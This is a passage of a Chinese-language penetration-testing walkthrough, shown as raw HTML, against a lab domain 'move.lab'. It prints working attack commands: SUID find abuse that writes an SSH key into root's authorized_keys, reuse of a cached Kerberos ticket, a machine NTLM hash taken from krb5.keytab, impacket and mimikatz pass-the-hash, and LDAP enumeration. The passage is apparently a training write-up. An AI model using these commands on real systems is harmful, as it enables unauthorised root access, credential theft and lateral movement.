10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">find . -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> /bin/sh -p -c <span style="color: #a6e22e;line-height: 1.6 !important;">&#39;echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d &gt; /mnt/cacti/root/.ssh/authorized_keys&#39;</span> \; -quit</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">选择公钥后登录：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5783333333333334" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d2acb97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk9MELHm2kgPLnsbJKarC8uibwbhtNAylTIGIzqkJemNxpgoYfrc06ekQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">登录成功：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6333333333333333" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bf058cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkOXoGibicO8OA3V9Op17IA1NMlMIvcR5MAceGng5fcSnVnaYD0ckMuIBA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">linux 域信息搜集</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看 dns，显然存在域，域控为 10.0.2.100：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.22166666666666668" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8539b38a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk1mgcqlWlAugrwNPHt1wMFfZlVnROMWsUL27BltahP4X04LFcCNlSMQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">ping 一下，ttl 为 128，是 windows 域：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.2866666666666667" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1be2aa11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkDE27qudTo8fAZKG4LtBYcXiapQmN26Kmia2Yvw9Wf4yq7Jt4gctgwlpQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看具体的 ldap 配置，域为 move.lab：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6716666666666666" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=010565c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkF1rCQ85rqKRNV0zLv07DUoyCsdxYUib0KBWqSI8LwKcRHjgg4U2N0PA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">搜索 openldap 及 web 等目录寻找和域相关的信息：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">grep -rn move.lab /etc<br style="line-height: 1.6 !important;"/>grep -rn move.lab /var/www/html<br style="line-height: 1.6 !important;"/></code></pre></section><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.245" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=af760389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkzuvTXF4xbxnQPj78ybHF81ZvFKeT3MOiayjDQ7fFyCrd9g4XXhicZ4jw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">几个文件看下来没有域凭据。但我们可以获得几个一些有效信息：</p><blockquote style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;font-style:normal;border-left:none;padding:1em;border-radius:8px;color:rgba(0,0,0,0.5);background:#f7f7f7;margin:2em 8px;"><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1em;letter-spacing:0.1em;color:rgb(80, 80, 80);display:block;">域名为 move.lab，域控机器 ip 为 10.0.0.100，存在域账户 linux_ldap 并可以登录当前的 linux。</p></blockquote><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出，在/tmp 目录下发现了 linux_ldap 用户缓存的票据：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4012671594508976" title="null" data-type="png" data-w="947" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=316127ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk4LEv8PtW4p8amOrzeYw0pSfpV37aS7PKk5xczicCRQN3aYeEzFFG4eA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">设置环境变量为这个票据：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">[root@cacti tmp]<span style="color: #75715e;line-height: 1.6 !important;"># export KRB5CCNAME=/tmp/krb5cc_1680801105</span></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用 ldapsearch 导出信息</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">ldapsearch  -b <span style="color: #a6e22e;line-height: 1.6 !important;">&#34;dc=move,dc=lab&#34;</span> -H ldap://10.0.2.100</code></pre></section><span style="font-size: 14px;">显示认证失败：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.13148148148148148" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=54aecd69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkMbtEnhTzLx2mP4RvPwfp3RicckVRP4B2fZAfgQnD8iaXFqjXIZF2ibiaiag%2F640%3Fwx_fmt%3Dpng"/></figure><span style="font-size: 14px;">看来这些工具并不支持票据认证，使用 impacet 工具尝试，这里直接使用打包好的 elf 程序：</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">[root@cacti tmp]<span style="color: #75715e;line-height: 1.6 !important;"># ./GetADUsers_linux_x86_64  move.lab/linux_ldap -k  -no-pass -all</span></code></pre></section><section data-v-b4e935ba=""><span style="font-size: 14px;">显示 ticket 暂时过期了</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16517857142857142" title="null" data-type="png" data-w="896" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=52172556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkNbrV6SV4nTqPFbianrZzEXM7s8H3OOLKVnurIHsicTUIXicZMHL6kjPKQ%2F640%3Fwx_fmt%3Dpng"/></figure><span style="font-size: 14px;">通过一番查询发现可以通过一些其他的方式找到域凭据，比如从内存获取 linux_ldap 的票据，甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.2250879249706917" title="null" data-type="png" data-w="853" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a307530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kkt2hpzibf4IffpLKziaF1ibXJvNwnZzMRn1RjAX3sHSntAicnFllZ4mQ4cg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这样我们就可以用这个机器的身份来搜集 ldap 信息:</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">[root@cacti tmp]<span style="color: #75715e;line-height: 1.6 !important;"># ./GetADUsers_linux_x86_64  move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all</span></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可以成功查询：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4424686192468619" title="null" data-type="png" data-w="956" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=769f6c92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkbL5w7Wl4mTiaU12I64VV0emvHGddLdIKGn4GMvD1JLpB3TnTVHpFBHA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">但 impacket 对于 ldap 信息搜集的不全，只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本地 pth：<br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用 Adfind 导出 ldap 信息：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4462962962962963" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e273cc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kkz9M0Z71eNJIWzYJsndHicUfKjwvBtiaquj3nA9n1VBbb06t5lkONcKXA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">定位域用户机器</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">目前可以使用 linux_ldap 的身份做操作，查看 linux_ldap 用户信息：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">dn:CN=linux_ldap,CN=Users,DC=move,DC=lab<br style="line-height: 1.6 !important;"/>&gt;objectClass: top<br style="line-height: 1.6 !important;"/>&gt;objectClass: person<br style="line-height: 1.6 !important;"/>&gt;objectClass: organizationalPerson<br style="line-height: 1.6 !important;"/>&gt;objectClass: user<br style="line-height: 1.6 !important;"/>&gt;cn: linux_ldap<br style="line-height: 1.6 !important;"/>&gt;distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab<br style="line-height: 1.6 !important;"/>&gt;instanceType: 4<br style="line-height: 1.6 !important;"/>&gt;whenCreated: 20230422140814.0Z<br style="line-height: 1.6 !important;"/>&gt;whenChanged: 20230426144030.0Z<br style="line-height: 1.6 !important;"/>&gt;uSNCreated: 12838<br style="line-height: 1.6 !important;"/>&gt;memberOf: CN=IT admins,CN=Users,DC=move,DC=lab<br style="line-height: 1.6 !important;"/>&gt;uSNChanged: 13727<br style="line-height: 1.6 !important;"/>&gt;name: linux_ldap<br style="line-height: 1.6 !important;"/>&gt;objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}<br style="line-height: 1.6 !important;"/>&gt;userAccountControl: 66048<br style="line-height: 1.6 !important;"/>&gt;badPwdCount: 2<br style="line-height: 1.6 !important;"/>&gt;codePage: 0<br style="line-height: 1.6 !important;"/>&gt;countryCode: 0<br style="line-height: 1.6 !important;"/>&gt;badPasswordTime: 133269901580757155<br style="line-height: 1.6 !important;"/>&gt;lastLogoff: 0<br style="line-height: 1.6 !important;"/>&gt;lastLogon: 133268853178838661<br style="line-height: 1.6 